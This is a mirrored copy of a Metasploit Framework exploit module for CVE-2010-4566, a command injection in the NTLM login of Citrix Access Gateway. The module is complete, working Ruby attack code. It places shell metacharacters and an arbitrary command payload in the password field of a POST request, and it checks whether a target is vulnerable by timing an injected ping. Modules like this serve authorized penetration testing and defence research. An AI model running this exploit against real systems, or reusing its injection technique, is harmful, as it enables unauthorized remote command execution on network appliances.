Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/unix/webapp/citrix_access_gateway_exec.rb
21633 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = ExcellentRanking
8
9
include Msf::Exploit::Remote::HttpClient
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'Citrix Access Gateway Command Execution',
16
'Description' => %q{
17
The Citrix Access Gateway provides support for multiple authentication types.
18
When utilizing the external legacy NTLM authentication module known as
19
ntlm_authenticator the Access Gateway spawns the Samba 'samedit' command
20
line utility to verify a user's identity and password. By embedding shell
21
metacharacters in the web authentication form it is possible to execute
22
arbitrary commands on the Access Gateway.
23
},
24
'Author' => [
25
'George D. Gal', # Original advisory
26
'Erwin Paternotte', # Exploit module
27
],
28
'License' => MSF_LICENSE,
29
'References' => [
30
[ 'CVE', '2010-4566' ],
31
[ 'OSVDB', '70099' ],
32
[ 'BID', '45402' ],
33
[ 'URL', 'http://www.vsecurity.com/resources/advisory/20101221-1/' ]
34
],
35
'Privileged' => false,
36
'Payload' => {
37
'Space' => 127,
38
'DisableNops' => true,
39
'Compat' =>
40
{
41
'PayloadType' => 'cmd cmd_bash',
42
# 'RequiredCmd' => 'generic telnet bash-tcp'
43
}
44
},
45
'DefaultOptions' => {
46
'WfsDelay' => 30
47
},
48
'Platform' => [ 'unix' ],
49
'Arch' => ARCH_CMD,
50
'Targets' => [[ 'Automatic', {}]],
51
'DisclosureDate' => '2010-12-21',
52
'DefaultTarget' => 0,
53
'Notes' => {
54
'Reliability' => UNKNOWN_RELIABILITY,
55
'Stability' => UNKNOWN_STABILITY,
56
'SideEffects' => UNKNOWN_SIDE_EFFECTS
57
}
58
)
59
)
60
61
register_options(
62
[
63
Opt::RPORT(443),
64
OptBool.new('SSL', [ true, 'Use SSL', true ]),
65
]
66
)
67
end
68
69
def post(command, background)
70
username = rand_text_alphanumeric(20)
71
72
if background
73
sploit = Rex::Text.uri_encode('|' + command + '&')
74
else
75
sploit = Rex::Text.uri_encode('|' + command)
76
end
77
78
data = "SESSION_TOKEN=1208473755272-1381414381&LoginType=Explicit&username="
79
data << username
80
data << "&password="
81
data << sploit
82
83
res = send_request_cgi({
84
'uri' => '/',
85
'method' => 'POST',
86
'data' => data
87
}, 25)
88
end
89
90
def check
91
print_status("Attempting to detect if the Citrix Access Gateway is vulnerable...")
92
93
# Try running/timing 'ping localhost' to determine is system is vulnerable
94
start = Time.now
95
post("ping -c 10 127.0.0.1", false)
96
elapsed = Time.now - start
97
if elapsed >= 3
98
return Exploit::CheckCode::Vulnerable
99
end
100
101
return Exploit::CheckCode::Safe
102
end
103
104
def exploit
105
cmd = payload.encoded
106
107
if not post(cmd, true)
108
fail_with(Failure::Unknown, "Unable to execute the desired command")
109
end
110
end
111
end
112
113